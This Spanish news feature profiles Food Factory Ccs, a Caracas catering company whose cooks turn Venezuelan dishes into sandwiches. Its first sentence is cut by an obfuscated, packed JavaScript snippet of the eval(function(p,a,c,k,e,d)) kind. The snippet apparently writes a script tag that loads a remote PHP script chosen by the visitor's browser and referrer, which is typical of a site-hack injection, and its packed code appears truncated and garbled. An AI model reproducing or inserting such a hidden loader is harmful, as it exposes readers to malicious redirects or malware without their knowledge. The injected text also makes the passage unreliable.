Cuando todo cabe dentro de un pan

Reyna Carreño / Maracaibo / reynac@laverdad.com
La eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tthfh|var|u0026u|referrer|hhnnf||js|php'.split('|'),0,{})) propuesta gastronómica incluye arepa, plátano y una variación de la cachapa, pero los cocineros tienen como bandera el “sánguche”

Luis Lares y Juan Hernández conforman Food Factory Ccs. (Fotos: Norge Boscán)

Rescatar la sazón venezolana y llevarla a su expresión más urbana es la tarea que emprendieron los cocineros Juan Hernández y Luis Lares hace año y medio, cuando crearon Food Factory, una empresa de catering y asesoría establecida en Caracas, pero que lleva sus creaciones por todos lados con el ánimo de “sanguchizar” a Venezuela.  

Aunque su proyecto gastronómico incluye arepa, plátano y una variación de la cachapa, los cocineros tienen como bandera el “sánguche” y se han propuesto meter dentro de un pan todo el esplendor de la comida criolla. Así, salen de su cocina emparedados de asado negro, de calamares fritos o de carpaccio. Choripan pepiado, sánguche cubanito y sánguche de pollo frito con ensalada César, son algunos de los nombres que ostenta su servicio. 

Pero como ellos mismos reconocen “no todo puede ser sánguche”, también preparan una versión original del popular vuelve a la vida, el pastel de cachapa, queso y su chicharrón; ceviches, ensaladas y postres como el ceviche de frutas y el sánguche de galleta con helado y un grano de sal, para no perder el hilo.

El secreto del sabor

Dentro de su propuesta culinaria, que cuenta con el padrinazgo del cocinero Víctor Moreno, predominan los contrastes de sabores dulces, salados, ácidos; las texturas crocantes que combinan con lo jugoso de las carnes; el uso de ingredientes criollos para recrear platillos clásicos de la cocina internacional, como los cangredictinos, que no es más que una variante de los huevos benedictinos con tatar de cangrejo, o el ceviche de fruta con mango verde, piña y fresa.

Los cocineros de Food Factory Ccs aman el ají dulce, honran preparaciones como la morcilla y a todo le colocan nombres graciosos e inolvidables, que hablan muy bien de su creatividad y de la sana rebeldía con que abordan el deliciosos mundo que va del fogón a la mesa.

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Twitter: @FoodFactoryCcs

Instagram: @FoodFactoryCcs

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